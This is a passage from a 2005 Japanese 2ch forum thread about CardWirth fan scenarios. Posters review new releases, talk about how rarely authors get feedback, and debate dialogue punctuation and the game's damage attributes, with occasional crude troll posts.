でも、新人がちらほら出てきてるのが凄いな。
一発屋だったら(´・ω・`)ショボーン

694 :名無しさん@お腹いっぱい。:2005/06/28(火) 17:23:05 ID:FDR62Yj8
>>693
つ残念なお知らせ
>でも、新人がちらほら出てきてるのが凄いな。 
 去年も似たようなコメントがあったんだがな、
 実際その新人で今も活動してそうな人って少な…。
 
 いや、俺も裏ではシナ作り頑張ってるって信じてるけどYO!

695 :名無しさん@お腹いっぱい。:2005/06/28(火) 17:47:53 ID:F5xwswLB
一本作って満足しちゃう人と
2本目は前作を越えるものを作ろうとして、いつまで経っても終らない人
ってのが多いだろうからねぇ

696 :名無しさん@お腹いっぱい。:2005/06/28(火) 19:42:05 ID:G8JKuM9W
でもテストプレイの掲示板を見ると、沢山依頼者がいるよ。

697 :名無しさん@お腹いっぱい。:2005/06/28(火) 20:57:30 ID:RL966mkY
>>696
でも依頼を受けてくれる冒険者は少ないよ。

698 :名無しさん@お腹いっぱい。:2005/06/28(火) 22:45:20 ID:3eU+k6Db
だって…やっぱ完成した依頼を受けたいじゃん。
純粋にシナリオを楽しみたい。その代わり感想を送る。

699 :名無しさん@お腹いっぱい。:2005/06/28(火) 23:25:15 ID:WMbCAesS
感想が来たことのない駄シナ作者がここに!
地味ですか印象薄いですかそうですか


_| ̄|○

700 :名無しさん@お腹いっぱい。:2005/06/28(火) 23:43:09 ID:8YpdXZH0
>699
俺も同類だからゲンキダセ

     ゴリゴリ
_| ̄|○○| ̄|_ )))

701 :駄レスの魔術師:2005/06/28(火) 23:44:03 ID:aabsMLgA
ちんちんかゆい

702 :名無しさん@お腹いっぱい。:2005/06/28(火) 23:44:07 ID:uYAMrA5P
>699-700
ヽ○ノおお、仲間よ
  ) 俺も感想が来たことない
 /ヽ

703 :名無しさん@お腹いっぱい。:2005/06/29(水) 00:06:12 ID:Bw1y0Fu3
感想来ない人の方が多いんじゃないかと思ってる

704 :名無しさん@お腹いっぱい。:2005/06/29(水) 03:07:36 ID:9sR4f0DF
今年入ってからちょっと忙しくなって
感想送らなくなったなぁ
シナは新しいのが出れば一日一作くらいの割合でやってるんだが

705 :名無しさん@お腹いっぱい。:2005/06/29(水) 03:57:30 ID:yudonKDl
テストプレイ報告に書かれてたのも入れればメールで来たのは4通程。
自シナ名でぐぐってみたら3〜5ヶ所くらいで感想書かれてた。

かなりマイナーなシナだと思ってるが、喪スレやらでごく稀に
ネタ振りしてくれてる人がいたりするのが嬉しい。一人だけかも知れんけど。

貰った身としてはメールのありがたみは物凄く良く分かってるが、
テストプレイとプレイ感想それぞれ一通ずつしか送ったことが無い…。

706 :名無しさん@お腹いっぱい。:2005/06/29(水) 04:17:16 ID:QKNmC48K
サイト持ちの人なら簡易フォームやら
ウェブ拍手なんかを置いてくれれば
簡単にでもできるかぎり感想送るんだけどなぁ…。
内容が面白かったら、だけど。
とにかくメールでの挨拶やらなにやらがひたすら面倒で。
返ってくる言葉も大概予測できちゃうし。
でもまぁ管理人さんの立場から言ったら
匿名のフォームなんて設置したら色々面倒なんだろうけれど。

707 :名無しさん@お腹いっぱい。:2005/06/29(水) 06:16:28 ID:T5hHRPNQ
>>706
> 匿名のフォームなんて設置したら色々面倒なんだろうけれど。
別に面倒って事はない。
設置の手間は掲示板と大差ないし、メールと違って返信しなくていいからな。

708 :名無しさん@お腹いっぱい。:2005/06/29(水) 07:23:23 ID:nPuJg5Dz
>>706
簡易フォーム置いたけど誰も使ってくれませんよ?

>内容が面白かったら、だけど。
,、'`,、'`,、'`,、('∀`) '`,、'`,、'`,、

709 :名無しさん@お腹いっぱい。:2005/06/29(水) 08:08:46 ID:odZG1aFe
こら、自虐ネタはほどほどにしろ
悲しくなるだけだろう

710 :名無しさん@お腹いっぱい。:2005/06/29(水) 08:30:57 ID:sUSzue2W
>>699

しらべる
 ぐーぐる
 ⇒しなりお

…しかし、自分のサイトしかヒットしなかった。

711 :名無しさん@お腹いっぱい。:2005/06/29(水) 08:40:22 ID:qAgv0tQH
涙の数だけ強くなれたら俺たちゃ今頃世界チャンピオンだな。

712 :名無しさん@お腹いっぱい。:2005/06/29(水) 09:10:53 ID:F8vwH+0h
簡易フォーム置いてもらっても、
そもそも最近作者さんのサイトまで行くことが少なくなったな。
ちゅうかテスト報告って以前はバグ見つけるたびに報告送ってたが、
普通に活動してる作者氏にBBS上で誤植報告して
さっくり無視されて以来、(返信がなかったってんじゃなく、
シナがずっと更新されなかったってことね)
それも今じゃやってねーや。

713 :名無しさん@お腹いっぱい。:2005/06/29(水) 09:49:31 ID:L+mX0IRP
>>706
どっかでみたよーな意見書いてる某有名ブログがあるから紹介しとく。
ttp://blog.goo.ne.jp/lordriver/e/cd6d8f30d7d92a66a5cb8f583e672750

フォーム設置者としては、やっぱり捨てハンでもいいから書いてほしい>匿名
名前が出ないと酷評・叩きをやりたい放題とすぐに勘違いするアフォがいるからな。

この話、ちょっと前の雑談かヲチでも話題になって結果的に荒らしが出没したんだっけ。

714 :名無しさん@お腹いっぱい。:2005/06/29(水) 09:53:36 ID:W6+xj+Lm
web拍手が一番、簡単なんじゃないかねぇ。
送る側はメッセージとか考えずに、クリック一つですむし
受け取る側も、別に返事しなくちゃいけないわけでもない。

BBSとか置いちゃうと、面倒ごとになることがあるし
逆に寂れちゃうと、人が寄り付かなくなるので
機能しなったり……

715 :名無しさん@お腹いっぱい。:2005/06/29(水) 10:01:05 ID:6PXj1LR3
というわけで新シナが来ましたよ。

これで上半期最後かな?

716 :名無しさん@お腹いっぱい。:2005/06/29(水) 10:08:25 ID:sUSzue2W
>>714
BBSは、2ちゃん感覚で書く人いるしな。

717 :名無しさん@お腹いっぱい。:2005/06/29(水) 10:39:45 ID:6FETh+YS
さっそくやってみたが・・・むー

シナリオ的にも微妙なんだが、洞窟で野営する所で
リンクが上手い事言って無いようで、ハマっちゃったよ。

718 :名無しさん@お腹いっぱい。:2005/06/29(水) 10:41:58 ID:DUaCyy94
>>713
まぁどこにでもあるような意見だろ。

後叩きと酷評は違うと思うぞ。

719 :名無しさん@お腹いっぱい。:2005/06/29(水) 10:59:02 ID:sUSzue2W
新シナプレイしてみたぞ。

女の子1人用で、目的の男の子(NPC)をゲッチュ☆するシナ。
シナリオ的には、こういうのもたまにはありだと思うが、
テストプレイ依頼したほうがよかったかも。

まず、条件がそろってないままはじめるとはまってしまう。
ダンジョンや森などの作りこみも適当で、とりあえず10歩進めば次へ進む。
町の人がPC用の画像使ってるので、うちのパーティメンバーがごろごろしてる。
民家などをクリックしても無反応。
容量が7M(圧縮で2M))もあるけど、500Kくらいに減らせそうな気がする。

720 :名無しさん@お腹いっぱい。:2005/06/29(水) 11:01:05 ID:6PXj1LR3
とりあえず落としただけでエディタも開いてないが、
JPEG変換はできんかったんだろうか?

721 :名無しさん@お腹いっぱい。:2005/06/29(水) 13:01:59 ID:6FETh+YS
>>719
だな。ちょっと粗が多い気がする。

移動にしても戦闘にしてもそうなんだが、
もうちょっとバリエーションが無いと飽きる。
移動しても移動しても背景が全然変わらなかったり、
戦闘はエリア毎に必ず同じ相手とだったり。

民家がクリック未対応だったりもアレだが、
右クリにほとんど対応してないのもアレ。

あと、最初の所でゴブリン・コボルト多数と戦闘になるんだが、
そこで勝っても、伏兵とかの描写無しにPCが自動的に倒されるのは
どうなんだ、とか、色々突っ込み所が多いな。

722 :名無しさん@お腹いっぱい。:2005/06/29(水) 16:23:23 ID:wPi/Haco
まぁ、こなれてない印象は受けるな。
誰かが上の意見をオブラートに包みつつ、必要ならやり方解説付きで
アドバイスとして送ればそれなりになるんじゃない。
右クリックは別に対応しなくてもいいと思うけど。

723 :名無しさん@お腹いっぱい。:2005/06/29(水) 16:45:48 ID:wOByCMzP
>>719->>722
今日のお前らみんな優しいな。


724 :駄レスの魔術師:2005/06/29(水) 21:27:46 ID:tIue6lYh
ちんちんかゆい

725 :名無しさん@お腹いっぱい。:2005/06/29(水) 22:20:51 ID:lxql4VRi
>>705
喪スレでってことは萌えキャラ連れ込みか?

726 :名無しさん@お腹いっぱい。:2005/06/30(木) 00:55:40 ID:P3e1T/rv
だから自分の好きなネタが叩かれたからって必ずしも一人だと(ry
そんなに決め付けたいならID表示板にいけばいいじゃない。

727 :名無しさん@お腹いっぱい。:2005/06/30(木) 00:57:34 ID:P3e1T/rv
ごめん誤爆orz

728 :名無しさん@お腹いっぱい。:2005/06/30(木) 01:39:18 ID:QfPHF/2T
感想3〜5箇所ってすごいなぁ

最近は感想サイトも止まってるところ多くて、
新しくシナリオ作ってもあんまり取り上げてもらえない…

729 :名無しさん@お腹いっぱい。:2005/06/30(木) 01:48:00 ID:04z+dWoZ
>>710
おれも自作をぐぐってみたよ!
IB氏の data list がヒットしたぜ!

orz

730 :名無しさん@お腹いっぱい。:2005/06/30(木) 02:08:06 ID:ycrVLDTo
感想送るから、どれか教えれ

731 :名無しさん@お腹いっぱい。:2005/06/30(木) 04:00:12 ID:EAhB65tL
>>725
萌えとは全く関わりのない、対象PC専用の燃え(?)スキルを
特定条件で入手可能にしておいた。
そのスキルでのネタ振りをごく稀に見かける。
誰も食いついてないように見えるけど…。
PCに少々アレな設定を付けるので、
『俺の#Mが理不尽なイベントでキズモノにされた!』
という抗議(ある訳ないか…)を避けたいこともあり、入手は結構運次第。

公開したのは概ね2年前だから、感想サイトも今よりは活況だったかなぁ…。


732 :名無しさん@お腹いっぱい。:2005/06/30(木) 07:23:52 ID:SA02XRbw
>>731
特定できすぎ

733 :名無しさん@お腹いっぱい。:2005/06/30(木) 08:17:08 ID:QfPHF/2T
最近どいつもこいつも迂闊すぎですよ

734 :名無しさん@お腹いっぱい。:2005/06/30(木) 10:15:52 ID:ZRad2xix
わざとだろw

735 :名無しさん@お腹いっぱい。:2005/06/30(木) 10:39:14 ID:i6uG9wB1
>>731
最近シナ作ってるの?

736 :名無しさん@お腹いっぱい。:2005/06/30(木) 12:04:47 ID:hklX076J
とりあえずまた更新。
地味にみんな頑張ってるな。


737 :名無しさん@お腹いっぱい。:2005/06/30(木) 12:26:18 ID:f7BsqQYa
うほっ、いいシナリオ・・・

と思った格闘団体のアレだが、初っ端から……と・・・の統一が
出来てなかったりとか、ちょっと微妙そうだなぁ・・・。
とりあえず全部やってみるか。

738 :名無しさん@お腹いっぱい。:2005/06/30(木) 12:59:49 ID:f7BsqQYa
とりあえず一部終了。

『MGA・リューン大会』
バトルシナリオ。MGA(マジック&グラップリング アソシエーション)主催の
格闘大会にパーティーで出場し・・・という形の導入で始まる三部構成らしい。

出来の方は、一部をやった限りでは正直微妙。
敵に個性が感じられず、肝心の戦闘が作業になってる感じ。
あと、文章が……と・・・の統一ができてなかったり、
奇妙な改行、段変え等があったり、顔文字とか文字色変えとか
バリバリ使ってたりと、何より微妙。

自分でプロレススキル作るくらいのプロレス・格闘技スキーとしては、
なんで十二人タッグやねん!というツッコミも入れたくなったり。
せめて二人くらいでダブルバウトにしようや、と思ってしまうのは
ヲタ故のサガかw

とりあえず、耐えられない程ではないので、
続けて二部三部とやってみようと思う。

739 :名無しさん@お腹いっぱい。:2005/06/30(木) 13:26:17 ID:f7BsqQYa
続き。

二部からこっち、2ちゃん要素が満載に・・・(苦笑
ニヤリとできる人にはできるかもしれないが、
中世の世界観を大事にしたい人にはオススメできない。

戦闘的なバランスも、あの数で魔法無効化だったりとかするのは・・・。
むしろボス格(?)の相手が弱く感じるかもしれないのは、
正直いただけないと思う。

あとは、台詞が上手く各PCに配分されず、同じPCが独り言を言ってるような
場面がちょくちょく見受けられた。

ま、全体的には別にやっておかないと、という程のもんは無いと思う。
2ちゃん要素大好き!とか言う人にはオススメかな(いるのか?)。

740 :名無しさん@お腹いっぱい。:2005/06/30(木) 13:39:01 ID:hklX076J
↑よく頑張った

741 :名無しさん@お腹いっぱい。:2005/06/30(木) 14:19:04 ID:D0Vnnal0
MGAのテストプレイ版をやった俺が一言で感想を述べると「愛生会病院+2ch」

742 :名無しさん@お腹いっぱい。:2005/06/30(木) 14:32:33 ID:f7BsqQYa
>>740
ありがとう。

続けて店シナ

夕日の鉄撃
各種武器防具と少量の技能を取り扱っている店シナリオ。
致命的なバグ等は無し。

ひたすらに地味(褒め言葉)。威力等はアクションカードと大差なく、
派手な武器が欲しいという人には向かないかも。
使用すると一定確率でカードの交換が行えるという特徴が、ほぼどの商品にも有る。
防具の一部は、永続召喚獣で配布する形をとっており、戦闘時に
アクションカードの配布を妨げないという利点がある。
・・・ただ、破魔の印喰らうとこの防具って消えちゃうような気が・・・。

全体的には地味(繰り返すが褒め言葉)で多種多様な装備を扱っているので、
雰囲気作りなどには使えるんじゃないかと思う。

743 :名無しさん@お腹いっぱい。:2005/06/30(木) 14:40:06 ID:hPUHK5Nb
>>742
付帯能力なら破魔の印とかで消滅はしないはず。

744 :名無しさん@お腹いっぱい。:2005/06/30(木) 14:40:57 ID:f7BsqQYa
>>743
そうだったっけ。
なら大丈夫だな。

745 :名無しさん@お腹いっぱい。:2005/06/30(木) 15:00:28 ID:BAbFJw6o
地味にリストが更新されてる。
イビタンって生きてたんだな。

746 :名無しさん@お腹いっぱい。:2005/06/30(木) 15:19:20 ID:f7BsqQYa
闇の住人たち

致命的なバグ等は無し。バトルシナをクリア後、店シナリオに変化するシナリオ。

まあ、だいたい話の流れから読めたが、それでもオチの思い切りの良さには思わず・・・w
ちょっとあの人がアレであった、という事に意味がないんじゃ?と思えたりしたけども、
まあ、あんまり気にならないから個人的にはヨシ。
最初の敵はレベル四強平均でやや苦戦。負けても救済処置はあるようらしい。
最後の敵はかなり強めで、歯が立たず。これも負けても救済処置有り。
それなりに高いレベルで行くと歯ごたえあるかも。

終了後の店シナリオだが、ちょっと技が強すぎ。
1レベル技能でレベル比10、2レベル技能で直接10のレベル比12・・・。
技のはっちゃけっぷりは気に入っただけに、この威力の
バランス崩壊度は残念。

まあ、すぐに終わるんで、やって損したとは思わないと思う。

747 :名無しさん@お腹いっぱい。:2005/06/30(木) 15:26:21 ID:hinX6mrM
>>742
これは良いですな。
ほんとゲーム的には大したメリットは無いけど
雰囲気作りにはGood!
全体的に安いので、金の無い序盤でもいろいろ買えるし。

748 :名無しさん@お腹いっぱい。:2005/06/30(木) 15:30:49 ID:f7BsqQYa
>>746
追記。
道具関係も強すぎ。
レベル10技能並の威力の無制限使用の剣とか、
全体攻撃な上に抵抗と防御に大幅ボーナスなレベル比8の弓とか・・・。

>>747
うんうん。
ホントにいい塩梅の地味さだよね。

749 :名無しさん@お腹いっぱい。:2005/06/30(木) 15:42:21 ID:89ZoOYJW
SIG氏は、いう、を、ゆうと書くのがどうも気になってしょうがない…。
わざとやってるんだと思うし、いいんだけどね別に。

750 :名無しさん@お腹いっぱい。:2005/06/30(木) 16:29:04 ID:J6AL7P0A
SIG氏の店シナリオがまた出たのか
上の感想見た感じだと良さそうだからやってみるべ

751 :名無しさん@お腹いっぱい。:2005/06/30(木) 16:51:16 ID:89ZoOYJW
長月氏の武器屋とか、職人気質の武器屋と同じタイプかな。
上記のよりはいい出来だと思う。説明もしっかりしてるし。

752 :名無しさん@お腹いっぱい。:2005/06/30(木) 19:48:19 ID:iLnjCFja
>>705=731
遅レスだが、俺もお前のシナ好きだ。燃えた。
どっかの絵師の雑記だかシナ感だかでも褒められてたのを見たし、
好意的な感想を結構貰ってるかと思ってたよ。
やっぱ、サイト持ちでもない限り感想は貰えないのか。

で、次シナの予定はないの?

753 :名無しさん@お腹いっぱい。:2005/06/30(木) 19:52:06 ID:GGvsk/RF
SIG氏のシナは、雰囲気が独特で良いよな。
まあ、あの独特の雰囲気が嫌だという人も多いだろうけど。

754 :名無しさん@お腹いっぱい。:2005/06/30(木) 19:57:33 ID:8pn5JCYa
>SIG氏
あの技能解説は苦手だ。

755 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:20:09 ID:J6AL7P0A
俺も雰囲気的にはあんまり好きじゃないかもしれない
好きな人は好きだろうし、こういう癖のあるシナリオが増えて欲しいとも思うけど
どうしてもリューンに近い感じのを選んでしまう…

756 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:36:48 ID:BAbFJw6o
何か作ってみようと思うのだけど、
こんな感じなのがしたいっての教えて。

757 :玄海。 ◆fzpLpgOYbk :2005/06/30(木) 20:38:32 ID:QLPSQmx7
…初めまして(思いきって飛び込んでみました)。
『MGA』の作者でございます m(_ _)m
手にとって下さり、また 感想を下さったり、本当にありがとうございます。
(記念に(?)ギルドの検索キーワードに「愛生会病院」「2ch」を加えてきましたw)

多少の“言い訳”さして下さい。

>>737-739
>うほっ、いいシナリオ・・・→微妙
  期待 裏切っちゃったみたいで、申し訳ありません(^^;
>「…」と「・・・」
 …については、PCの“沈黙の度合い”で使い分けた“つもり”だったんですが
 余計でしたか?

 例:「…」=1秒程度の沈黙、「・・・」=5秒以上(呆然としている等)
     ※但し、徹底している訳ではないです。

>敵に個性が感じられず、肝心の戦闘が作業になってる感じ。
>ボス格(?)の相手が弱く感じるかもしれない
 苦労したんですよぉ〜(涙)。
 『シナーのカンフー道場』+α を基本に、[リューン装備・最低限で4人]前提で
 (一戦あたり20R前後で)戦闘の調整したんですよ。
 その後、テストプレイで きちょうじサンに
 「Lv.6でラスボス瞬殺した」てレス来た時、途方に暮れた(苦笑)。

>>741
>一言で感想を述べると「愛生会病院+2ch」
 ・・・「あいせーかいびょーいん?」→ググった→ (((((;゚д゚))))ガクガクブルブル

とにかく、ありがとうございました m(_ _)m
ご意見・ご感想は、次回作の参考にさせて頂きます♪
謝々。

758 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:46:42 ID:xDGsXpwr
>>731
サッパリ分からん

759 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:53:16 ID:afnOB/zy
>>757
>…については、PCの“沈黙の度合い”で使い分けた“つもり”だったんですが
どういうつもりかは知らんが賢者の選択でもやってる手法だから大丈夫。

760 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:55:53 ID:gyVas35g
昔やった事あるシナリオは
西の吟遊詩人・フォーチュンベル
サニーウォーカーズシリーズ

ぐらいなもんだったんだけど、これらのシナリオの感想キボン
もう忘れちまった俺って・・・orz

761 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:57:06 ID:/XmU8XOK
>>760
その三つしかやったことないの?シナリオ?

…、どういうチョイスなんだ……

762 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:58:20 ID:J6AL7P0A
>>760
とりあえずもっと別のシナリオをやるべき
ホモが好きなら良いけど

763 :名無しさん@お腹いっぱい。:2005/06/30(木) 20:59:14 ID:iLnjCFja
>>761
760はスケープゴートにサニー付けといたDqunn本人なんだろ。

>>760
帰れ。

764 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:09:34 ID:Wt2th41i
>>757
それなら単純に「…」の数を増減することで使い分けた方が良かったかも。

765 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:21:56 ID:8pn5JCYa
検索キーワードに変なものを加えるのは
ただイタイ作者がやることだな

766 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:23:27 ID:iLnjCFja
降臨してる時点で既に痛いだろ。

767 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:36:28 ID:89ZoOYJW
まぁ痛いかも知れんが、こういう匿名の場で堂々と名乗れるのはすごいことだと思うよ。ガンガレ。

768 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:39:13 ID:tOqjHTSr
表で名を持つ中の人が堂々と2chに出てくるのも久し振りだよな。
正直そういうのが出てきただけでスゲェ萎えてくる俺が来ましたよ。

769 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:41:40 ID:Xafak9Ka
大昔の記録によると大盛り氏とかタチモソ氏とかが直接出てきてたな。
けど、実際のところ中の人が名乗り出てくるのってどうなのよw

770 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:45:57 ID:Wt2th41i
ここはコテってだけで無駄に叩かれるから名乗らない方が無難。
個人的には別になんとも思わない。名無しで書き込んでる人が大量にいるのは分かってるし。

771 :名無しさん@お腹いっぱい。:2005/06/30(木) 21:58:28 ID:+PZxKITx
明らかに2ch見てるなって表の人は多いけど、そのいずれもがここでは名無しだからな。
例え実際はコソーリここを見ていようとも、ここで中の人詮索されて「本人?」と指摘されようとも、
何喰わぬ顔で知らん振りし続けることが大人の対応というか
ここでの一般的な応対の仕方ではあるまいか。

なんか要望だの指摘だのここで受けても、表でその答えを出すに留めておいた方が無難。

772 :名無しさん@お腹いっぱい。:2005/06/30(木) 22:01:20 ID:+PZxKITx
言い忘れていたけど、俺自身も別に本人降臨自体はどうでもいいと思ってる。
ただ>>757の中の人は、やっぱ次からは名無しに戻った方がイインジャネ?
ってことで。

773 :名無しさん@お腹いっぱい。:2005/06/30(木) 22:03:25 ID:afnOB/zy
>>770
コテが叩かれるなんてこのスレに限ったことじゃないし本人もわかった上で書いてるんだろ。
コテ叩きに耐性持ってるならスレもそこまで荒れないだろうし来てもらっても構わんよ。

>771
>明らかに2ch見てるなって表の人は多いけど、そのいずれもがここでは名無し
見てるだけの人と名無しで書き込んでる人は違うとオモタ。
皆が皆書いてる訳じゃないだろうが。

774 :名無しさん@お腹いっぱい。:2005/06/30(木) 22:09:14 ID:20vAgZs0
>>757

ttp://www.asahi-net.or.jp/~mi9t-mttn/cstory/write11.html
ttp://kotonoha.main.jp/2004/01/06kutoten.html
辺り読んでみ。


775 :名無しさん@お腹いっぱい。:2005/06/30(木) 23:01:29 ID:afnOB/zy
>>774
漏れもそういうの気になる性質だが757はわかった上でやってるんだと思うがな。
まあ斉藤神に突きつけてから来いや。

776 :名無しさん@お腹いっぱい。:2005/06/30(木) 23:22:22 ID:J6AL7P0A
いや、多分分かってないんじゃない?
知らんけど

777 :名無しさん@お腹いっぱい。:2005/06/30(木) 23:34:59 ID:3ymiwlrp
ま、そういう「オレサマ文章テク」を入れても
違和感を感じるか、または全くのスルーかで
作者の意図が伝わるのは稀ってことやね?

778 :名無しさん@お腹いっぱい。:2005/07/01(金) 00:01:03 ID:f1dFvYmb
>774を見ながらふと思ったのだが、
台詞の二行目って最初に空白入れるべきか?
日本語的には最初に空白を入れるのが正しいのは知っているが、
#Y等を使うと
「そうか。
 俺たちは賢者の選
択亭の冒険者だ。
 今後ともよろしくな」
なんて台詞が出来てしまう危険性があるから俺はあえて使ってないのだが……

779 :名無しさん@お腹いっぱい。:2005/07/01(金) 00:08:29 ID:sLHChDAP
つーか一般的な文を書く時の常識を持ち出されても困る。

780 :名無しさん@お腹いっぱい。:2005/07/01(金) 00:11:58 ID:lCPm8yGV
結局自分が一番読みやすい文章でやれば良いんじゃないの?
漏れはシナリオ創るときはそういった正しい文章の書き方には拘ってない

781 :名無しさん@お腹いっぱい。:2005/07/01(金) 01:10:58 ID:yIQmOVvb
なんか役に立つ事話してるな

782 :名無しさん@お腹いっぱい。:2005/07/01(金) 01:44:55 ID:MCrPrOFP
>>781
ここはチラシの裏じゃないからな

783 :名無しさん@お腹いっぱい。:2005/07/01(金) 01:58:29 ID:NE8nZGK7
>>778
おれも――とか……とかは使ってるけど
字下げはしてないね。
CWみたく、数行の文のでやると、行頭がでこぼこしちゃって
逆に気持ち悪い。
同様にの理由で、セリフに「」もつけてない。

784 :名無しさん@お腹いっぱい。:2005/07/01(金) 02:30:43 ID:qpoDt8Ki
ずっとレベル99のキャラつくってやってたんだが、
まともに遊んでみようと思ってレベル1のパーティ作って楽しんでた
レベル4まで上がったのに・・・
え これって全滅したらキャラ消えんの!?

785 :名無しさん@お腹いっぱい。:2005/07/01(金) 02:44:14 ID:0iA+BHjV
>>784
セーブしたところまで戻れる。つーか99のキャラって…。

786 :名無しさん@お腹いっぱい。:2005/07/01(金) 03:38:05 ID:yIQmOVvb
レベル99のキャラで楽しめるシナリオなんてあるのか?

787 :名無しさん@お腹いっぱい。:2005/07/01(金) 04:31:02 ID:sGlZQO7F
>>778
それ以前に#Yの最大文字数は8文字なので、
そのような箇所で#Yを使うと、

「そうか。
 俺たちは2ちゃん
ねるの宿の冒険者だ

 今後ともよろしくな」

などと禁則処理違反を起こしてよろしくない。

788 :名無しさん@お腹いっぱい。:2005/07/01(金) 06:56:02 ID:JT74bIIT
ASKシナから入ったからASKタイプの表示が好き。
駄作には鍵括弧なしが大半だから、括弧なしを見るだけで吐き気がしてくる。

789 :名無しさん@お腹いっぱい。:2005/07/01(金) 09:01:11 ID:MCrPrOFP
>>788
大丈夫か。病院へ行け。

790 :名無しさん@お腹いっぱい。:2005/07/01(金) 11:55:36 ID:VZ0SUDFW
ウチのパーティに知力だけが取り柄のメンバーいるんだが、
魔法の効かない敵が出てきた時困ってしまったもんで…
物理属性の魔法ってなんかないかい?
(魔法的物理なら言うことないけどまずないだろうし)

まぁ素直に肉弾戦メンバーに任せるのがいいのかもしれんけど…


791 :名無しさん@お腹いっぱい。:2005/07/01(金) 12:16:30 ID:1bvoC7c+
>>790
っ【蜘蛛の糸】
違うとか言わない。

望みのものというと
っ【魔刃@山賊都市グレンダム】
だが、もうDLできなかったような。

792 :名無しさん@お腹いっぱい。:2005/07/01(金) 12:21:50 ID:rSPd/VLm
DL出来ないものならトレアドールもそうかな。
知力適性の杖技あったけど。

無難なところで、踊る剣@双頭の遺跡。

793 :名無しさん@お腹いっぱい。:2005/07/01(金) 12:27:15 ID:IU1PrvE5
>>790
トレアドールとかどうだろう。
と思ってギルド見たけどこれもリンク切れなってるね。
物理属性の召還獣探して召還士になってみるとか。

794 :793:2005/07/01(金) 12:28:15 ID:IU1PrvE5
>>792と被りすぎorz
リロードしときゃよかった。

795 :名無しさん@お腹いっぱい。:2005/07/01(金) 12:43:12 ID:rSPd/VLm
攻撃用の物理的魔法属性、キルノレに3つ位あった・・・・・・と思ったが、
魔法的物理か。勘違いしてた。
それなら結構あるような気がするが、無いものかな。また探してみゆ。

>>794
ふふり。

796 :名無しさん@お腹いっぱい。:2005/07/01(金) 12:58:19 ID:Mg5xF2XE
ABC氏のサイトが消えてる。

797 :名無しさん@お腹いっぱい。:2005/07/01(金) 14:19:17 ID:2vDVUEuj
物理属性の魔法は魔法無効化状態の仕様を考えるとおかしいんだけどな。
召喚獣ならともかく。

「下男」の蟲の矢なんてどうだろう。

798 :名無しさん@お腹いっぱい。:2005/07/01(金) 15:27:42 ID:zL62oOOm
>>791
蜘蛛の糸は明らかに違うだろ。
あれ「物理的魔法属性」だろ?
魔法の効かない敵が出たとき、って話してるのに
物理的魔法持ち出してどうすんの。


799 :名無しさん@お腹いっぱい。:2005/07/01(金) 15:39:09 ID:g6EFjXqf
>蜘蛛の糸
まあ、確かにバージョン1.15以前では物理属性だったけどね。
その頃には物理的魔法属性が実装されてなかったから。

800 :名無しさん@お腹いっぱい。:2005/07/01(金) 15:49:30 ID:JkfVEYZq
そもそも物理的魔法と魔法的物理がまったくちんぷんかんぷんな俺ガイル

801 :名無しさん@お腹いっぱい。:2005/07/01(金) 15:50:11 ID:jHDNYBLH
魔法と魔法的物理が武器の効かない敵に効いて、
物理と魔法的物理が魔法が効かない敵に効くのか?
ちょっと物理的魔法損してるな。

死霊術士の館の死神スキルが知力適性で魔法的物理だったりする。

802 :名無しさん@お腹いっぱい。:2005/07/01(金) 15:53:11 ID:jHDNYBLH
死霊術士の館→死霊術の館

間違えた。

803 :名無しさん@お腹いっぱい。:2005/07/01(金) 15:57:03 ID:tfgzUPVE
>>798
だから「違うとか言わない」と言ったろうが。
物理属性の魔法っていわれたらこれ出すより他ないだろ?

知力依存の物理攻撃、なら別なのを考えたろうけど。

804 :名無しさん@お腹いっぱい。:2005/07/01(金) 16:27:43 ID:lCPm8yGV
魔法的物理属性>物理属性=魔法属性>物理的魔法属性

合ってる?

805 :名無しさん@お腹いっぱい。:2005/07/01(金) 16:38:51 ID:eVUPmf98
まあヘルプ見れば早いんだが

>>804
あってる

そういえば必中属性ってのがあるが
これ使ってるスキルってあるか?

806 :名無しさん@お腹いっぱい。:2005/07/01(金) 16:40:46 ID:tfgzUPVE
>>805
効果コンテント専用だから、攻撃と同時にパワーアップとかそういうのにはあるかもしれない。

807 :名無しさん@お腹いっぱい。:2005/07/01(金) 17:27:41 ID:vY2vLDyf
物理的魔法属性ってどんなスキルが相応しいんだ?メテオとか?

808 :名無しさん@お腹いっぱい。:2005/07/01(金) 17:59:47 ID:GKmmgrP7
魔法によって生成された
実体を持った物理的な手段で、対象に干渉するスキル
ってとこか?

メテオはどうなんだろな?
「蜘蛛の糸」とか、ハンマー作り出してそれで殴るとか
地面を盛り上げて、相手を転倒させるとか
霧で、視界を制限するとか

809 :名無しさん@お腹いっぱい。:2005/07/01(金) 18:59:34 ID:g6EFjXqf
>>807
宇宙に浮かんでいる隕石を魔法で引っ張ってきて落とすなら魔法的物理属性か物理属性、
無から隕石を生み出して対象の頭の上に出現させるなら物理的魔法属性……じゃないかな。

実体に魔法的な力を付与するもの(自分の剣に魔力を上乗せして斬り付けるなど)は
魔法的物理属性だと説明されている。

810 :名無しさん@お腹いっぱい。:2005/07/01(金) 19:30:12 ID:eVUPmf98
魔力で物質を作る方が高難易度魔法って感じなのに
システム上は報われないんだな

811 :名無しさん@お腹いっぱい。:2005/07/01(金) 19:33:20 ID:IU1PrvE5
>>810
高難度だからな。
ちょっと油断したら完成しない。

812 :名無しさん@お腹いっぱい。:2005/07/01(金) 19:38:41 ID:iYpL/QvN
まあその分、多少性能上げてもバランス取れるしな。

813 :名無しさん@お腹いっぱい。:2005/07/01(金) 19:47:23 ID:eVUPmf98
逆に魔法的物理属性は
それだけでスキルレベルが上がってしまう…か
なるほど

居合切りTUEEEEE

814 :名無しさん@お腹いっぱい。:2005/07/01(金) 20:04:41 ID:t5Yn94tf
エフェクトブースターはいつになったらシナリオに使ってもよくなるんだろう…
今はテスト版だから、使っちゃいけないんだよな?
